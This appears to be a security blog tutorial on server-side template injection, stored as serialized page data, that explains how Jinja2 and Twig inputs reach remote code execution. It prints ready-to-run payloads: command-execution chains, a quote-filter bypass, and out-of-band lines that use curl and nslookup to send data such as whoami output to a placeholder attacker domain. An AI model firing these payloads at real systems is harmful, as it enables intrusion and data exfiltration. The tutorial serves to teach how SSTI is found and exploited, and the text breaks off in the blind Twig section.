[{"data":1,"prerenderedAt":2653},["ShallowReactive",2],{"announcement":3,"i-tabler:sun":11,"i-tabler:moon":16,"i-tabler:menu-2":18,"i-tabler:x":20,"i-simple-icons:youtube":22,"i-simple-icons:github":24,"i-simple-icons:x":26,"i-simple-icons:linkedin":28,"i-tabler:arrow-up-right":31,"post-ssti-from-input-to-rce":33,"post-nav-ssti-from-input-to-rce":2632,"video-ssti-from-input-to-rce":2643,"i-tabler:copy":2651},{"startsAt":4,"endsAt":5,"scramble":6,"cta":7,"message":10},"2026-10-13","2026-11-30","Cache Poisoning:",{"href":8,"label":9},"\u002Fcache-poisoning-the-cache-you-cant-purge","Read it","The cache you can't purge.",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":15},0,24,false,"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M8 12a4 4 0 1 0 8 0a4 4 0 1 0-8 0m-5 0h1m8-9v1m8 8h1m-9 8v1M5.6 5.6l.7.7m12.1-.7l-.7.7m0 11.4l.7.7m-12.1-.7l-.7.7\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":17},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M12 3h.393a7.5 7.5 0 0 0 7.92 12.446A9 9 0 1 1 12 2.992z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":19},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M4 6h16M4 12h16M4 18h16\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":21},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M18 6L6 18M6 6l12 12\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":23},"\u003Cpath fill=\"currentColor\" d=\"M23.498 6.186a3.02 3.02 0 0 0-2.122-2.136C19.505 3.545 12 3.545 12 3.545s-7.505 0-9.377.505A3.02 3.02 0 0 0 .502 6.186C0 8.07 0 12 0 12s0 3.93.502 5.814a3.02 3.02 0 0 0 2.122 2.136c1.871.505 9.376.505 9.376.505s7.505 0 9.377-.505a3.02 3.02 0 0 0 2.122-2.136C24 15.93 24 12 24 12s0-3.93-.502-5.814M9.545 15.568V8.432L15.818 12z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":25},"\u003Cpath fill=\"currentColor\" d=\"M12 .297c-6.63 0-12 5.373-12 12c0 5.303 3.438 9.8 8.205 11.385c.6.113.82-.258.82-.577c0-.285-.01-1.04-.015-2.04c-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729c1.205.084 1.838 1.236 1.838 1.236c1.07 1.835 2.809 1.305 3.495.998c.108-.776.417-1.305.76-1.605c-2.665-.3-5.466-1.332-5.466-5.93c0-1.31.465-2.38 1.235-3.22c-.135-.303-.54-1.523.105-3.176c0 0 1.005-.322 3.3 1.23c.96-.267 1.98-.399 3-.405c1.02.006 2.04.138 3 .405c2.28-1.552 3.285-1.23 3.285-1.23c.645 1.653.24 2.873.12 3.176c.765.84 1.23 1.91 1.23 3.22c0 4.61-2.805 5.625-5.475 5.92c.42.36.81 1.096.81 2.22c0 1.606-.015 2.896-.015 3.286c0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":27},"\u003Cpath fill=\"currentColor\" d=\"M14.234 10.162L22.977 0h-2.072l-7.591 8.824L7.251 0H.258l9.168 13.343L.258 24H2.33l8.016-9.318L16.749 24h6.993zm-2.837 3.299l-.929-1.329L3.076 1.56h3.182l5.965 8.532l.929 1.329l7.754 11.09h-3.182z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":29,"hidden":30},"\u003Cpath fill=\"currentColor\" d=\"M20.447 20.452h-3.554v-5.569c0-1.328-.027-3.037-1.852-3.037c-1.853 0-2.136 1.445-2.136 2.939v5.667H9.351V9h3.414v1.561h.046c.477-.9 1.637-1.85 3.37-1.85c3.601 0 4.267 2.37 4.267 5.455v6.286zM5.337 7.433a2.06 2.06 0 0 1-2.063-2.065a2.064 2.064 0 1 1 2.063 2.065m1.782 13.019H3.555V9h3.564zM22.225 0H1.771C.792 0 0 .774 0 1.729v20.542C0 23.227.792 24 1.771 24h20.451C23.2 24 24 23.227 24 22.271V1.729C24 .774 23.2 0 22.222 0z\"\u002F>",true,{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":32},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M17 7L7 17M8 7h9v9\"\u002F>",{"id":34,"title":35,"body":36,"categories":2618,"coverImage":2621,"date":2622,"description":2623,"draft":14,"extension":2624,"meta":2625,"navigation":30,"noindex":14,"path":2626,"readingTime":2627,"seo":2628,"slug":2629,"stem":2629,"updatedAt":2630,"youtubeId":42,"__hash__":2631},"blog\u002Fssti-from-input-to-rce.md","SSTI From Input To RCE",{"type":37,"value":38,"toc":2568},"minimark",[39,43,47,59,67,70,75,91,96,116,121,135,140,151,154,160,163,166,182,185,188,231,234,257,264,271,274,291,294,297,303,306,309,335,341,344,350,356,362,368,371,377,380,386,389,413,420,431,437,440,464,470,473,478,488,491,497,500,564,567,575,591,597,603,615,628,634,643,646,652,655,658,721,724,734,744,753,759,768,771,777,780,785,835,838,843,893,896,901,951,958,964,975,982,1001,1004,1095,1104,1110,1113,1119,1122,1139,1144,1147,1167,1171,1183,1189,1192,1230,1233,1242,1254,1260,1266,1269,1325,1334,1340,1343,1374,1380,1386,1389,1420,1423,1455,1458,1489,1492,1498,1501,1506,1509,1532,1536,1539,1545,1574,1577,1583,1593,1600,1603,1645,1651,1654,1680,1686,1688,1722,1724,1755,1757,1785,1792,1798,1801,1806,1813,1834,1838,1843,1846,2022,2025,2057,2060,2066,2068,2105,2108,2114,2116,2157,2163,2165,2237,2240,2246,2249,2255,2261,2264,2287,2290,2296,2313,2323,2329,2335,2341,2347,2361,2372,2375,2389,2392,2406,2409,2415,2418,2424,2427,2441,2447,2450,2467,2470,2476,2483,2489,2492,2503,2509,2512,2526,2529,2535,2552,2555,2561,2564],[40,41],"post-media",{"video":42},"X5J3I5camCA",[44,45,46],"p",{},"Server-Side Template Injection (SSTI) remains one of the most critical vulnerabilities in modern web applications, yet it's frequently misunderstood by security researchers. Most tutorials focus on payload lists and automated tools, but few explain the fundamental concepts that make SSTI exploitation possible.",[44,48,49,50,54,55,58],{},"This guide takes a different approach. We'll explore template engines from first principles-understanding not just ",[51,52,53],"em",{},"what"," payloads to use, but ",[51,56,57],{},"why"," they work. By the end, you'll be able to craft custom exploits for engines you've never encountered and bypass filters that stop basic payloads.",[60,61,63],"h2",{"id":62},"the-template-engine-landscape",[64,65,66],"strong",{},"The Template Engine Landscape",[44,68,69],{},"Template engines are ubiquitous in modern web development. Every major programming language has multiple template engine implementations, each with unique syntax and security considerations.",[44,71,72],{},[64,73,74],{},"Python:",[76,77,78,85],"ul",{},[79,80,81,84],"li",{},[64,82,83],{},"Jinja2"," - The dominant choice for Flask applications and widely used across the Python ecosystem",[79,86,87,90],{},[64,88,89],{},"Mako"," - Found in Pyramid framework and legacy applications",[44,92,93],{},[64,94,95],{},"PHP:",[76,97,98,104,110],{},[79,99,100,103],{},[64,101,102],{},"Twig"," - Default template engine for Symfony framework",[79,105,106,109],{},[64,107,108],{},"Smarty"," - Older but still deployed in production environments",[79,111,112,115],{},[64,113,114],{},"Blade"," - Laravel's built-in template engine",[44,117,118],{},[64,119,120],{},"Java:",[76,122,123,129],{},[79,124,125,128],{},[64,126,127],{},"FreeMarker"," - Common in enterprise applications and Spring Boot",[79,130,131,134],{},[64,132,133],{},"Groovy"," - Used in Grails and some Spring configurations",[44,136,137],{},[64,138,139],{},".NET:",[76,141,142,148],{},[79,143,144,147],{},[64,145,146],{},"Razor"," - Standard for ASP.NET Core and MVC applications",[79,149,150],{},"Various legacy engines in older .NET systems",[44,152,153],{},"Understanding this landscape is crucial because exploitation techniques vary significantly between engines. The same payload that achieves RCE in Jinja2 will fail completely in FreeMarker. However, once you understand the underlying principles, you can adapt your approach to any template engine.",[60,155,157],{"id":156},"understanding-template-engines",[64,158,159],{},"Understanding Template Engines",[44,161,162],{},"At their core, template engines solve a fundamental problem in web development: separating presentation logic from business logic.",[44,164,165],{},"A template engine takes two inputs:",[167,168,169,176],"ol",{},[79,170,171,172,175],{},"A ",[64,173,174],{},"template"," - text containing placeholders and expressions",[79,177,178,181],{},[64,179,180],{},"Data"," - variables, objects, and values to insert",[44,183,184],{},"The engine combines these inputs to produce final output, typically HTML.",[44,186,187],{},"Consider a simple example. Without a template engine, displaying a personalized greeting requires string concatenation:",[189,190,195],"pre",{"code":191,"language":192,"meta":193,"className":194,"style":193},"html = \"\u003Ch1>Welcome, \" + username + \"!\u003C\u002Fh1>\"\n","html","","shiki shiki-themes vitesse-dark vitesse-light",[196,197,198],"code",{},[199,200,203,207,211,215,218,221,224,226,228],"span",{"class":201,"line":202},"line",1,[199,204,206],{"class":205},"sG2Fq","html = \"",[199,208,210],{"class":209},"somML","\u003C",[199,212,214],{"class":213},"sR8n-","h1",[199,216,217],{"class":209},">",[199,219,220],{"class":205},"Welcome, \" + username + \"!",[199,222,223],{"class":209},"\u003C\u002F",[199,225,214],{"class":213},[199,227,217],{"class":209},[199,229,230],{"class":205},"\"\n",[44,232,233],{},"This approach becomes unwieldy for complex pages with hundreds of dynamic values. Template engines provide a cleaner solution:",[189,235,237],{"code":236,"language":192,"meta":193,"className":194,"style":193},"\u003Ch1>Welcome, {{ username }}!\u003C\u002Fh1>\n",[196,238,239],{},[199,240,241,243,245,247,250,252,254],{"class":201,"line":202},[199,242,210],{"class":209},[199,244,214],{"class":213},[199,246,217],{"class":209},[199,248,249],{"class":205},"Welcome, {{ username }}!",[199,251,223],{"class":209},[199,253,214],{"class":213},[199,255,256],{"class":209},">\n",[44,258,259,260,263],{},"The template engine recognizes ",[196,261,262],{},"{{ username }}"," as a placeholder, retrieves the value, and performs the substitution automatically.",[265,266,268],"h3",{"id":267},"where-security-breaks-down",[64,269,270],{},"Where Security Breaks Down",[44,272,273],{},"The power of template engines extends beyond simple variable substitution. Modern template engines support:",[76,275,276,279,282,285,288],{},[79,277,278],{},"Method calls on objects",[79,280,281],{},"Mathematical expressions",[79,283,284],{},"Property access chains",[79,286,287],{},"Conditional logic",[79,289,290],{},"Loop constructs",[44,292,293],{},"This expressiveness creates the vulnerability. When user input flows into a template and is processed as template code rather than data, Server-Side Template Injection occurs.",[44,295,296],{},"The template engine cannot distinguish between legitimate template code written by developers and malicious code injected by attackers. It simply evaluates whatever syntax it encounters. This is the fundamental security flaw that makes SSTI possible.",[60,298,300],{"id":299},"why-ssti-is-critical",[64,301,302],{},"Why SSTI is Critical",[44,304,305],{},"SSTI vulnerabilities lead directly to Remote Code Execution (RCE), making them one of the most severe vulnerability classes.",[44,307,308],{},"When you successfully inject code into a template, you execute that code in the server's context with the application's full privileges. This means:",[76,310,311,317,323,329],{},[79,312,313,316],{},[64,314,315],{},"File system access"," - Reading configuration files, application source code, and sensitive data",[79,318,319,322],{},[64,320,321],{},"Database access"," - Querying or modifying data directly",[79,324,325,328],{},[64,326,327],{},"Network capabilities"," - Making requests to internal services or external systems",[79,330,331,334],{},[64,332,333],{},"Command execution"," - Running arbitrary system commands",[265,336,338],{"id":337},"real-world-impact",[64,339,340],{},"Real-World Impact",[44,342,343],{},"Attackers actively exploit SSTI in production environments:",[44,345,346,349],{},[64,347,348],{},"Cryptojacking"," - The most common real-world abuse involves deploying cryptocurrency miners on compromised servers. Attackers identify SSTI vulnerabilities, establish persistent access, and use the server's resources for mining operations.",[44,351,352,355],{},[64,353,354],{},"Data Exfiltration"," - Sensitive information like API keys, database credentials, and customer data can be extracted through SSTI.",[44,357,358,361],{},[64,359,360],{},"Lateral Movement"," - SSTI on internet-facing servers provides an entry point for pivoting into internal networks, often leading to complete infrastructure compromise.",[44,363,364,367],{},[64,365,366],{},"Ransomware Deployment"," - With code execution established, attackers can deploy ransomware or other malicious payloads.",[44,369,370],{},"The severity of SSTI cannot be overstated. It typically rates as Critical in vulnerability assessments and often results in the highest bounty payouts in bug bounty programs.",[60,372,374],{"id":373},"jinja2-exploitation-python",[64,375,376],{},"Jinja2 Exploitation (Python)",[44,378,379],{},"Jinja2 powers Flask, one of the most popular Python web frameworks. Understanding Jinja2 exploitation provides a template for approaching other engines.",[265,381,383],{"id":382},"detection",[64,384,385],{},"Detection",[44,387,388],{},"The fundamental detection payload for Jinja2:",[189,390,393],{"code":391,"language":392,"meta":193,"className":194,"style":193},"{{7*7}}\n","python",[196,394,395],{},[199,396,397,400,404,408,410],{"class":201,"line":202},[199,398,399],{"class":209},"{{",[199,401,403],{"class":402},"sUQhE","7",[199,405,407],{"class":406},"sfIIG","*",[199,409,403],{"class":402},[199,411,412],{"class":209},"}}\n",[44,414,415,416,419],{},"If this returns ",[196,417,418],{},"49",", the template engine is processing your input as code. But why does this work?",[44,421,422,423,426,427,430],{},"Jinja2 uses double curly braces (",[196,424,425],{},"{{ }}",") to denote expressions. When the engine encounters these delimiters, it evaluates the contents as Python code. ",[196,428,429],{},"7*7"," is a valid Python expression, so the engine performs the multiplication and returns the result.",[265,432,434],{"id":433},"engine-fingerprinting",[64,435,436],{},"Engine Fingerprinting",[44,438,439],{},"Different template engines handle the same syntax differently, allowing for precise identification:",[189,441,443],{"code":442,"language":392,"meta":193,"className":194,"style":193},"{{7*'7'}}\n",[196,444,445],{},[199,446,447,449,451,453,457,460,462],{"class":201,"line":202},[199,448,399],{"class":209},[199,450,403],{"class":402},[199,452,407],{"class":406},[199,454,456],{"class":455},"sy_C3","'",[199,458,403],{"class":459},"sRRDT",[199,461,456],{"class":455},[199,463,412],{"class":209},[44,465,466,467],{},"In Jinja2 (Python), this returns: ",[196,468,469],{},"7777777",[44,471,472],{},"The multiplication operator in Python, when applied to a string and an integer, repeats the string. This behavior is specific to Python's type system.",[44,474,475,476],{},"In Twig (PHP), the same payload returns: ",[196,477,418],{},[44,479,480,481,484,485,487],{},"PHP performs type coercion, converting the string ",[196,482,483],{},"'7'"," to integer ",[196,486,403],{}," before multiplication.",[44,489,490],{},"This difference allows you to fingerprint which engine you're targeting-essential information for crafting effective exploits.",[265,492,494],{"id":493},"achieving-remote-code-execution",[64,495,496],{},"Achieving Remote Code Execution",[44,498,499],{},"The classic Jinja2 RCE payload:",[189,501,503],{"code":502,"language":392,"meta":193,"className":194,"style":193},"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[196,504,505],{},[199,506,507,509,512,515,519,521,524,526,529,532,534,537,539,542,545,548,550,553,555,558,561],{"class":201,"line":202},[199,508,399],{"class":209},[199,510,511],{"class":205},"config",[199,513,514],{"class":209},".",[199,516,518],{"class":517},"s6_DI","__class__",[199,520,514],{"class":209},[199,522,523],{"class":517},"__init__",[199,525,514],{"class":209},[199,527,528],{"class":517},"__globals__",[199,530,531],{"class":209},"[",[199,533,456],{"class":455},[199,535,536],{"class":459},"os",[199,538,456],{"class":455},[199,540,541],{"class":209},"].",[199,543,544],{"class":205},"popen",[199,546,547],{"class":209},"(",[199,549,456],{"class":455},[199,551,552],{"class":459},"id",[199,554,456],{"class":455},[199,556,557],{"class":209},").",[199,559,560],{"class":205},"read",[199,562,563],{"class":209},"()}}\n",[44,565,566],{},"This payload demonstrates Python object traversal. Let's break down each component:",[44,568,569,571,572,574],{},[196,570,511],{}," - In Flask applications, ",[196,573,511],{}," is a global object accessible in all templates. It contains application configuration settings.",[44,576,577,580,581,583,584,586,587,590],{},[196,578,579],{},".__class__"," - Python's ",[196,582,518],{}," attribute returns the class of any object. For ",[196,585,511],{},", this returns the ",[196,588,589],{},"Config"," class itself.",[44,592,593,596],{},[196,594,595],{},".__init__"," - Access the class constructor (initialization method). This provides a bridge to the class's internal scope.",[44,598,599,602],{},[196,600,601],{},".__globals__"," - This special attribute contains a dictionary of all global variables in the scope where the function was defined. Critically, this includes imported modules.",[44,604,605,608,609,611,612,614],{},[196,606,607],{},"['os']"," - Extract the ",[196,610,536],{}," module from the globals dictionary. The ",[196,613,536],{}," module provides operating system interfaces, including command execution.",[44,616,617,620,621,623,624,627],{},[196,618,619],{},".popen('id')"," - Execute the ",[196,622,552],{}," system command. ",[196,625,626],{},"popen()"," runs the command and returns a file-like object.",[44,629,630,633],{},[196,631,632],{},".read()"," - Read and return the command output.",[44,635,636,637,639,640,642],{},"The complete chain: ",[196,638,511],{}," object → class → constructor → global scope → ",[196,641,536],{}," module → command execution.",[44,644,645],{},"This isn't arbitrary syntax-it's methodical navigation through Python's object model to reach dangerous functionality.",[265,647,649],{"id":648},"blind-ssti-time-based-detection",[64,650,651],{},"Blind SSTI: Time-Based Detection",[44,653,654],{},"In many real-world scenarios, you won't see command output directly. The application processes your template but only displays generic messages. This is \"blind\" SSTI.",[44,656,657],{},"Time-based detection confirms execution without visible output:",[189,659,661],{"code":660,"language":392,"meta":193,"className":194,"style":193},"{{''.__class__.__mro__[1].__subclasses__()[396]('sleep 5',shell=True)}}\n",[196,662,663],{},[199,664,665,667,670,672,674,676,679,681,684,686,689,692,695,698,700,703,705,708,712,715,718],{"class":201,"line":202},[199,666,399],{"class":209},[199,668,669],{"class":455},"''",[199,671,514],{"class":209},[199,673,518],{"class":517},[199,675,514],{"class":209},[199,677,678],{"class":517},"__mro__",[199,680,531],{"class":209},[199,682,683],{"class":402},"1",[199,685,541],{"class":209},[199,687,688],{"class":517},"__subclasses__",[199,690,691],{"class":209},"()[",[199,693,694],{"class":402},"396",[199,696,697],{"class":209},"](",[199,699,456],{"class":455},[199,701,702],{"class":459},"sleep 5",[199,704,456],{"class":455},[199,706,707],{"class":209},",",[199,709,711],{"class":710},"snInM","shell",[199,713,714],{"class":209},"=",[199,716,717],{"class":213},"True",[199,719,720],{"class":209},")}}\n",[44,722,723],{},"This payload uses a different traversal path:",[44,725,726,729,730,733],{},[196,727,728],{},"''.__class__"," - Start with an empty string and get its class (",[196,731,732],{},"str",")",[44,735,736,739,740,743],{},[196,737,738],{},".__mro__[1]"," - Access the Method Resolution Order, retrieving the base ",[196,741,742],{},"object"," class",[44,745,746,749,750,752],{},[196,747,748],{},".__subclasses__()"," - Get all classes that inherit from ",[196,751,742],{}," (essentially all classes)",[44,754,755,758],{},[196,756,757],{},"[396]"," - Access the subprocess class (index varies by Python version)",[44,760,761,620,764,767],{},[196,762,763],{},"('sleep 5',shell=True)",[196,765,766],{},"sleep"," command with a 5-second delay",[44,769,770],{},"Send this payload and measure the response time. If the server takes approximately 5 extra seconds to respond, you've confirmed code execution even without seeing output.",[265,772,774],{"id":773},"out-of-band-oob-exploitation",[64,775,776],{},"Out-of-Band (OOB) Exploitation",[44,778,779],{},"OOB techniques extract data or confirm vulnerabilities by making the server contact external systems you control.",[44,781,782],{},[64,783,784],{},"DNS Exfiltration:",[189,786,788],{"code":787,"language":392,"meta":193,"className":194,"style":193},"{{''.__class__.__mro__[1].__subclasses__()[396]('nslookup YOUR-DOMAIN',shell=True)}}\n",[196,789,790],{},[199,791,792,794,796,798,800,802,804,806,808,810,812,814,816,818,820,823,825,827,829,831,833],{"class":201,"line":202},[199,793,399],{"class":209},[199,795,669],{"class":455},[199,797,514],{"class":209},[199,799,518],{"class":517},[199,801,514],{"class":209},[199,803,678],{"class":517},[199,805,531],{"class":209},[199,807,683],{"class":402},[199,809,541],{"class":209},[199,811,688],{"class":517},[199,813,691],{"class":209},[199,815,694],{"class":402},[199,817,697],{"class":209},[199,819,456],{"class":455},[199,821,822],{"class":459},"nslookup YOUR-DOMAIN",[199,824,456],{"class":455},[199,826,707],{"class":209},[199,828,711],{"class":710},[199,830,714],{"class":209},[199,832,717],{"class":213},[199,834,720],{"class":209},[44,836,837],{},"Set up a DNS listener (Burp Collaborator, interactsh.com, or your own DNS server). When the server executes this payload, it performs a DNS lookup to your domain. You receive the DNS query, confirming the vulnerability.",[44,839,840],{},[64,841,842],{},"HTTP Callbacks:",[189,844,846],{"code":845,"language":392,"meta":193,"className":194,"style":193},"{{''.__class__.__mro__[1].__subclasses__()[396]('curl http:\u002F\u002FYOUR-DOMAIN',shell=True)}}\n",[196,847,848],{},[199,849,850,852,854,856,858,860,862,864,866,868,870,872,874,876,878,881,883,885,887,889,891],{"class":201,"line":202},[199,851,399],{"class":209},[199,853,669],{"class":455},[199,855,514],{"class":209},[199,857,518],{"class":517},[199,859,514],{"class":209},[199,861,678],{"class":517},[199,863,531],{"class":209},[199,865,683],{"class":402},[199,867,541],{"class":209},[199,869,688],{"class":517},[199,871,691],{"class":209},[199,873,694],{"class":402},[199,875,697],{"class":209},[199,877,456],{"class":455},[199,879,880],{"class":459},"curl http:\u002F\u002FYOUR-DOMAIN",[199,882,456],{"class":455},[199,884,707],{"class":209},[199,886,711],{"class":710},[199,888,714],{"class":209},[199,890,717],{"class":213},[199,892,720],{"class":209},[44,894,895],{},"The server makes an HTTP request to your endpoint. You see the incoming connection, proving execution.",[44,897,898],{},[64,899,900],{},"Data Exfiltration:",[189,902,904],{"code":903,"language":392,"meta":193,"className":194,"style":193},"{{''.__class__.__mro__[1].__subclasses__()[396]('curl http:\u002F\u002FYOUR-DOMAIN\u002F$(whoami)',shell=True)}}\n",[196,905,906],{},[199,907,908,910,912,914,916,918,920,922,924,926,928,930,932,934,936,939,941,943,945,947,949],{"class":201,"line":202},[199,909,399],{"class":209},[199,911,669],{"class":455},[199,913,514],{"class":209},[199,915,518],{"class":517},[199,917,514],{"class":209},[199,919,678],{"class":517},[199,921,531],{"class":209},[199,923,683],{"class":402},[199,925,541],{"class":209},[199,927,688],{"class":517},[199,929,691],{"class":209},[199,931,694],{"class":402},[199,933,697],{"class":209},[199,935,456],{"class":455},[199,937,938],{"class":459},"curl http:\u002F\u002FYOUR-DOMAIN\u002F$(whoami)",[199,940,456],{"class":455},[199,942,707],{"class":209},[199,944,711],{"class":710},[199,946,714],{"class":209},[199,948,717],{"class":213},[199,950,720],{"class":209},[44,952,953,954,957],{},"This extracts the current user by embedding the ",[196,955,956],{},"whoami"," command output in the URL path. Your server logs show the username in the request path.",[265,959,961],{"id":960},"filter-bypass-quote-free-exploitation",[64,962,963],{},"Filter Bypass: Quote-Free Exploitation",[44,965,966,967,970,971,974],{},"Applications may filter quote characters, blocking payloads like ",[196,968,969],{},"'id'"," or ",[196,972,973],{},"\"whoami\"",". Character encoding bypasses these restrictions.",[44,976,977,978,981],{},"Python's ",[196,979,980],{},"chr()"," function converts ASCII codes to characters:",[76,983,984,993],{},[79,985,986,989,990],{},[196,987,988],{},"chr(105)"," → ",[196,991,992],{},"'i'",[79,994,995,989,998],{},[196,996,997],{},"chr(100)",[196,999,1000],{},"'d'",[44,1002,1003],{},"Constructing strings character-by-character:",[189,1005,1007],{"code":1006,"language":392,"meta":193,"className":194,"style":193},"{{''.__class__.__mro__[1].__subclasses__()[396](chr(105)+chr(100),shell=True,stdout=-1).communicate()[0].strip()}}\n",[196,1008,1009],{},[199,1010,1011,1013,1015,1017,1019,1021,1023,1025,1027,1029,1031,1033,1035,1037,1040,1042,1045,1047,1050,1052,1054,1057,1060,1062,1064,1066,1068,1071,1073,1076,1078,1080,1083,1085,1088,1090,1093],{"class":201,"line":202},[199,1012,399],{"class":209},[199,1014,669],{"class":455},[199,1016,514],{"class":209},[199,1018,518],{"class":517},[199,1020,514],{"class":209},[199,1022,678],{"class":517},[199,1024,531],{"class":209},[199,1026,683],{"class":402},[199,1028,541],{"class":209},[199,1030,688],{"class":517},[199,1032,691],{"class":209},[199,1034,694],{"class":402},[199,1036,697],{"class":209},[199,1038,1039],{"class":517},"chr",[199,1041,547],{"class":209},[199,1043,1044],{"class":402},"105",[199,1046,733],{"class":209},[199,1048,1049],{"class":406},"+",[199,1051,1039],{"class":517},[199,1053,547],{"class":209},[199,1055,1056],{"class":402},"100",[199,1058,1059],{"class":209},"),",[199,1061,711],{"class":710},[199,1063,714],{"class":209},[199,1065,717],{"class":213},[199,1067,707],{"class":209},[199,1069,1070],{"class":710},"stdout",[199,1072,714],{"class":209},[199,1074,1075],{"class":406},"-",[199,1077,683],{"class":402},[199,1079,557],{"class":209},[199,1081,1082],{"class":205},"communicate",[199,1084,691],{"class":209},[199,1086,1087],{"class":402},"0",[199,1089,541],{"class":209},[199,1091,1092],{"class":205},"strip",[199,1094,563],{"class":209},[44,1096,1097,1100,1101,1103],{},[196,1098,1099],{},"chr(105)+chr(100)"," produces ",[196,1102,969],{}," without using quotes anywhere in the payload. This technique bypasses quote-based filters while achieving the same result.",[60,1105,1107],{"id":1106},"twig-exploitation-php",[64,1108,1109],{},"Twig Exploitation (PHP)",[44,1111,1112],{},"Twig is Symfony's default template engine and appears extensively in PHP applications.",[265,1114,1116],{"id":1115},"detection-and-fingerprinting",[64,1117,1118],{},"Detection and Fingerprinting",[44,1120,1121],{},"Basic detection:",[189,1123,1125],{"code":391,"language":1124,"meta":193,"className":194,"style":193},"php",[196,1126,1127],{},[199,1128,1129,1131,1133,1135,1137],{"class":201,"line":202},[199,1130,399],{"class":209},[199,1132,403],{"class":402},[199,1134,407],{"class":406},[199,1136,403],{"class":402},[199,1138,412],{"class":209},[44,1140,1141,1142],{},"Returns: ",[196,1143,418],{},[44,1145,1146],{},"Fingerprinting:",[189,1148,1149],{"code":442,"language":1124,"meta":193,"className":194,"style":193},[196,1150,1151],{},[199,1152,1153,1155,1157,1159,1161,1163,1165],{"class":201,"line":202},[199,1154,399],{"class":209},[199,1156,403],{"class":402},[199,1158,407],{"class":406},[199,1160,456],{"class":455},[199,1162,403],{"class":459},[199,1164,456],{"class":455},[199,1166,412],{"class":209},[44,1168,1141,1169],{},[196,1170,418],{},[44,1172,1173,1174,1176,1177,1179,1180,1182],{},"Unlike Python\u002FJinja2, PHP performs automatic type coercion. The string ",[196,1175,483],{}," becomes integer ",[196,1178,403],{}," before multiplication, resulting in ",[196,1181,418],{}," rather than string repetition. This behavior confirms you're targeting a PHP-based engine like Twig.",[265,1184,1186],{"id":1185},"rce-in-legacy-versions",[64,1187,1188],{},"RCE in Legacy Versions",[44,1190,1191],{},"Twig versions before 2.4.4 are vulnerable to filter abuse:",[189,1193,1195],{"code":1194,"language":1124,"meta":193,"className":194,"style":193},"{{[\"id\"]|filter(\"system\")}}\n",[196,1196,1197],{},[199,1198,1199,1202,1205,1207,1209,1212,1215,1219,1221,1223,1226,1228],{"class":201,"line":202},[199,1200,1201],{"class":209},"{{[",[199,1203,1204],{"class":455},"\"",[199,1206,552],{"class":459},[199,1208,1204],{"class":455},[199,1210,1211],{"class":209},"]",[199,1213,1214],{"class":406},"|",[199,1216,1218],{"class":1217},"swzfi","filter",[199,1220,547],{"class":209},[199,1222,1204],{"class":455},[199,1224,1225],{"class":459},"system",[199,1227,1204],{"class":455},[199,1229,720],{"class":209},[44,1231,1232],{},"Breaking down the syntax:",[44,1234,1235,1238,1239],{},[196,1236,1237],{},"[\"id\"]"," - Create an array containing the string ",[196,1240,1241],{},"\"id\"",[44,1243,1244,1247,1248,1250,1251,1253],{},[196,1245,1246],{},"|filter(\"system\")"," - The pipe operator applies a filter. The ",[196,1249,1218],{}," filter passes array elements through a specified function. Here, we specify ",[196,1252,1225],{},"-PHP's command execution function.",[44,1255,1256,1257],{},"This effectively executes: ",[196,1258,1259],{},"system(\"id\")",[265,1261,1263],{"id":1262},"modern-twig-exploitation",[64,1264,1265],{},"Modern Twig Exploitation",[44,1267,1268],{},"Newer Twig versions block dangerous filters. However, exploitation remains possible through filter callback manipulation:",[189,1270,1272],{"code":1271,"language":1124,"meta":193,"className":194,"style":193},"{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}\n",[196,1273,1274],{},[199,1275,1276,1278,1282,1284,1287,1289,1292,1294,1296,1299,1301,1304,1306,1308,1310,1312,1315,1317,1319,1321,1323],{"class":201,"line":202},[199,1277,399],{"class":209},[199,1279,1281],{"class":1280},"se4ZP","_self",[199,1283,514],{"class":406},[199,1285,1286],{"class":1280},"env",[199,1288,514],{"class":406},[199,1290,1291],{"class":1217},"registerUndefinedFilterCallback",[199,1293,547],{"class":209},[199,1295,1204],{"class":455},[199,1297,1298],{"class":459},"exec",[199,1300,1204],{"class":455},[199,1302,1303],{"class":209},")}}{{",[199,1305,1281],{"class":1280},[199,1307,514],{"class":406},[199,1309,1286],{"class":1280},[199,1311,514],{"class":406},[199,1313,1314],{"class":1217},"getFilter",[199,1316,547],{"class":209},[199,1318,1204],{"class":455},[199,1320,552],{"class":459},[199,1322,1204],{"class":455},[199,1324,720],{"class":209},[44,1326,1327,1328,1330,1331,1333],{},"The first expression registers ",[196,1329,1298],{}," as the handler for undefined filters. The second expression triggers that handler with ",[196,1332,1241],{}," as the argument, achieving command execution.",[265,1335,1337],{"id":1336},"blind-ssti-in-twig",[64,1338,1339],{},"Blind SSTI in Twig",[44,1341,1342],{},"Time-based 